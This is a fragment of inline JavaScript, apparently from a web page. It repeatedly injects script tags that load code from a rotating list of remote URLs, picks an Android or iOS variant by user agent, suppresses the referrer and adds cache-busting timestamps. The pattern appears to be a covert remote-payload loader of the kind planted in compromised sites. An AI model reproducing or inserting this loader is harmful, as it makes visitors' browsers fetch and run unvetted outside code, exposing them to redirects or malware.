'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();